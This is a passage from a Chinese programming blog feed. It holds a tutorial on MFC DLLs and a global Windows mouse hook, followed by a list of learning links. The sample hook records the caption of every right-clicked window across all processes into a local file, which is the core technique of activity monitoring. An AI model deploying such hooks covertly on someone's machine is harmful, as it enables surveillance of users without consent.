<br>　　参数中，hMoudle是动态库被调用时所传递来的一个指向自己的句柄(实际上，它是指向_DGROUP段的一个选择符)；ul_reason_for_call是一个说明动态库被调原因的标志，当进程或线程装入或卸载动态链接库的时候，操作系统调用入口函数，并说明动态链接库被调用的原因，它所有的可能值为：DLL_PROCESS_ATTACH: 进程被调用、DLL_THREAD_ATTACH: 线程被调用、DLL_PROCESS_DETACH: 进程被停止、DLL_THREAD_DETACH: 线程被停止；lpReserved为保留参数。到此为止，DLL的入口函数已经写了，剩下部分的实现也不难，你可以在DLL工程中加入你所想要输出的函数或变量了。<br><br>二）MFC AppWizard[dll]方式生成常规/扩展DLL<br><br>　　在MFC AppWizard[dll]下生成DLL文件又有三种方式，在创建DLL是，要根据实际情况选择创建DLL的方式。一种是常规DLL静态链接到MFC，另一种是常规DLL动态链接到MFC。两者的区别是：前者使用的是MFC的静态链接库，生成的DLL文件长度大，一般不使用这种方式，后者使用MFC的动态链接库，生成的DLL文件长度小；动态链接到MFC的规则DLL所有输出的函数应该以如下语句开始： <br><br>AFX_MANAGE_STATE(AfxGetStaticModuleState( )) //此语句用来正确地切换MFC模块状态<br><br>在MFC下建立DLL文件，会自动生成def文件框架，其它与建立传统的Non-MFC DLL没有什么区别，只要在相应的头文件写入关键字_declspec(dllexport)函数类型和函数名等，或在生成的def文件中EXPORTS下输入函数名就可以了。需要注意的是在向其它开发人员分发MFC扩展DLL 时，不要忘记提供描述DLL中类的头文件以及相应的.LIB文件和DLL本身，此后开发人员就能充分利用你开发的扩展DLL了。 <br><br><font color=#0000ff>2.使用Regular DLL写钩子</font><br>使用Regular DLL写钩子的优点是可以很方便地使用MFC提供的类库，也很方便使用c++面向对象编程，同时写好的DLL也会很方便地被别的程序调用。有如此优点所以写钩子时首选常规动态库。<br><br>以全局的鼠标钩子为例说明使用常规动态写钩子的步骤：<br>（1）用VC创建一个基于常规动态库的空工程<br>&nbsp;&nbsp; MFC会自动根据工程名字生成一个派生自CWinApp的类，如工程名叫Mousehook，则 <br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;CMousehookApp&nbsp;:&nbsp;public&nbsp;CWinApp</span></div>
<br>（2）添加成员函数 <br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 37.87%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; HEIGHT: 186px; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008080">&nbsp;1</span><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">BOOL&nbsp;CMousehookApp::InitInstance()&nbsp;<br></span><span style="COLOR: #008080">&nbsp;2</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>{<br></span><span style="COLOR: #008080">&nbsp;3</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;AFX_MANAGE_STATE(AfxGetStaticModuleState());<br></span><span style="COLOR: #008080">&nbsp;4</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;hinsMouse</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">AfxGetInstanceHandle();<br></span><span style="COLOR: #008080">&nbsp;5</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;TRUE;<br></span><span style="COLOR: #008080">&nbsp;6</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>}<br></span><span style="COLOR: #008080">&nbsp;7</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br></span><span style="COLOR: #008080">&nbsp;8</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>int&nbsp;CMousehookApp::ExitInstance()&nbsp;<br></span><span style="COLOR: #008080">&nbsp;9</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>{<br></span><span style="COLOR: #008080">10</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;TRUE;<br></span><span style="COLOR: #008080">11</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>}</span></div>
（3）添加共享数据<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 38.22%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; HEIGHT: 106px; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008080">1</span><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">pragma&nbsp;data_seg(".SHARDAT")</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">2</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">static&nbsp;HHOOK&nbsp;mouse</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">NULL;<br></span><span style="COLOR: #008080">3</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>FILE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">fm;<br></span><span style="COLOR: #008080">4</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">pragma&nbsp;data_seg()</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">5</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">6</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>HINSTANCE&nbsp;hinsMouse;</span></div>
（4）添加钩子函数<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 60.62%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; HEIGHT: 465px; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008080">&nbsp;1</span><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">LRESULT&nbsp;</span><span style="COLOR: #800080">__declspec</span><span style="COLOR: #000000">(dllexport)</span><span style="COLOR: #800080">__stdcall</span><span style="COLOR: #000000">&nbsp;&nbsp;CALLBACK&nbsp;&nbsp; MouseProc(<br></span><span style="COLOR: #008080">&nbsp;2</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;nCode,&nbsp;<br></span><span style="COLOR: #008080">&nbsp;3</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WPARAM&nbsp;wParam,&nbsp;<br></span><span style="COLOR: #008080">&nbsp;4</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LPARAM&nbsp;lParam)<br></span><span style="COLOR: #008080">&nbsp;5</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>{<br></span><span style="COLOR: #008080">&nbsp;6</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;LPMOUSEHOOKSTRUCT&nbsp;lpMouse</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">(MOUSEHOOKSTRUCT&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)lParam;<br></span><span style="COLOR: #008080">&nbsp;7</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(nCode</span><span style="COLOR: #000000">&gt;=</span><span style="COLOR: #000000">0)<br></span><span style="COLOR: #008080">&nbsp;8</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="COLOR: #008080">&nbsp;9</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(wParam&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;WM_RBUTTONDOWN)&nbsp;&nbsp;<br></span><span style="COLOR: #008080">10</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">11</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HWND&nbsp;hTargetHwnd</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">lpMouse</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">hwnd;&nbsp;</span><span style="COLOR: #000000">//</span><span style="COLOR: #000000">得到鼠标所在窗口句柄<br></span><span style="COLOR: #008080">12</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(hTargetHwnd)<br></span><span style="COLOR: #008080">13</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="COLOR: #008080">14</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;caption[</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">{</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\0</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">};<br></span><span style="COLOR: #008080">15</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;::GetWindowText(hTargetHwnd,&nbsp;caption,&nbsp;sizeof(caption));&nbsp;</span><span style="COLOR: #000000">//</span><span style="COLOR: #000000">得到它的样式<br></span><span style="COLOR: #008080">16</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fm</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">fopen(</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">c:\\mouse.txt</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">a+</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">17</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs(caption,fm);<br></span><span style="COLOR: #008080">18</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs(</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">\n</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">,fm);<br></span><span style="COLOR: #008080">19</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose(fm);<br></span><span style="COLOR: #008080">20</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="COLOR: #008080">21</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="COLOR: #008080">22</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br></span><span style="COLOR: #008080">23</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br></span><span style="COLOR: #008080">24</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">25</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">26</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;CallNextHookEx(&nbsp;mouse,&nbsp;nCode,&nbsp;wParam,&nbsp;lParam&nbsp;);<br></span><span style="COLOR: #008080">27</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br></span><span style="COLOR: #008080">28</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>}</span></div>
<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 51.52%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; HEIGHT: 282px; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008080">&nbsp;1</span><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;</span><span style="COLOR: #800080">__declspec</span><span style="COLOR: #000000">(dllexport)</span><span style="COLOR: #800080">__stdcall</span><span style="COLOR: #000000">&nbsp;installhook()<br></span><span style="COLOR: #008080">&nbsp;2</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="COLOR: #008080">&nbsp;3</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fm</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">fopen(</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">c:\\mouse.txt</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">w</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">&nbsp;4</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose(fm);<br></span><span style="COLOR: #008080">&nbsp;5</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;6</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mouse&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">SetWindowsHookEx(WH_MOUSE,(HOOKPROC)MouseProc,hinsMouse,0);<br></span><span style="COLOR: #008080">&nbsp;7</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;8</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;TRUE;<br></span><span style="COLOR: #008080">&nbsp;9</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="COLOR: #008080">10</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">11</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">12</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;</span><span style="COLOR: #800080">__declspec</span><span style="COLOR: #000000">(dllexport)&nbsp;&nbsp;UnHook()<br></span><span style="COLOR: #008080">13</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="COLOR: #008080">14</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">15</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;unhooked&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;UnhookWindowsHookEx(mouse);<br></span><span style="COLOR: #008080">16</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;unhooked;<br></span><span style="COLOR: #008080">17</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></div>
<p>（5）添加导出函数</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 51.42%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; HEIGHT: 154px; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008080">1</span><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">;&nbsp;mousehook.</span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;:&nbsp;Declares&nbsp;the&nbsp;module&nbsp;parameters&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;the&nbsp;DLL.<br></span><span style="COLOR: #008080">2</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br></span><span style="COLOR: #008080">3</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>LIBRARY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">mousehook</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">4</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>DESCRIPTION&nbsp;&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">mousehook&nbsp;Windows&nbsp;Dynamic&nbsp;Link&nbsp;Library</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">5</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br></span><span style="COLOR: #008080">6</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>EXPORTS<br></span><span style="COLOR: #008080">7</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;Explicit&nbsp;exports&nbsp;can&nbsp;go&nbsp;here&nbsp;<br></span><span style="COLOR: #008080">8</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MouseProc<br></span><span style="COLOR: #008080">9</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;installhook</span></div>
（6）写挂钩函数<br><img height=481 alt="" src="http://www.cnitblog.com/images/cnitblog_com/houcy/code.JPG" width=723 border=0><br>
<img src ="http://www.cnitblog.com/houcy/aggbug/68301.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2010-08-22 00:44 <a href="http://www.cnitblog.com/houcy/archive/2010/08/22/68301.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一些很好的学习网站【收藏】</title><link>http://www.cnitblog.com/houcy/archive/2008/09/10/48976.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Wed, 10 Sep 2008 12:16:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2008/09/10/48976.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/48976.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2008/09/10/48976.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/48976.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/48976.html</trackback:ping><description><![CDATA[<p><a style="FONT-SIZE: 18pt" href="http://www.partow.net/">http://www.partow.net/</a><br><br></p>
<h3 align=left>Programming Related</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://www.pasc.org/" target=_blank><u><font color=#0000ff>The Portable Application Standards Committee (PASC - POSIX)</font></u></a>
    <li><a href="http://www.boost.org/" target=_blank><font color=#0000ff><u>Boost C++ Libraries </u></font></a>
    <li><a href="http://womble.decadentplace.org.uk/c++/template-faq.html" target=_blank><font color=#0000ff><u>C++ Templates FAQ </u></font></a>
    <li><a href="http://www.parashift.com/c++-faq-lite/" target=_blank><font color=#0000ff><u>C++ FAQ LITE </u></font></a>
    <li><a href="http://www.gotw.ca/gotw/" target=_blank><font color=#0000ff><u>Guru of the Week (C++) </u></font></a>
    <li><a href="http://www.cs.cf.ac.uk/Dave/C/" target=_blank><font color=#0000ff><u>Programming in C UNIX System Calls and Subroutines using C </u></font></a>
    <li><a href="http://itpp.sourceforge.net/" target=_blank><font color=#0000ff><u>IT++ </u></font></a>
    <li><a href="http://www-unix.mcs.anl.gov/mpi/" target=_blank><font color=#0000ff><u>The Message Passing Interface (MPI) </u></font></a>
    <li><a href="http://www.efg2.com/Lab/" target=_blank><font color=#0000ff><u>EFG Computer Lab (Delphi) </u></font></a>
    <li><a href="http://www-2.cs.cmu.edu/~baraff/sigcourse/index.html" target=_blank><font color=#0000ff><u>Physically Based Modeling Siggraph '97 </u></font></a>
    <li><a href="http://remus.rutgers.edu/~rhoads/Code/code.html" target=_blank><font color=#0000ff><u>Snippets of C code - Combinatorial Objects </u></font></a>
    <li><a href="http://www.partow.net/links.html#" target=_blank><font color=#800080><u>IBM Tutorials </u></font></a>
    <li><a href="http://www.cs.wustl.edu/~schmidt/ACE.html" target=_blank><font color=#0000ff><u>The Adaptive Communication Environment (ACE) </u></font></a>
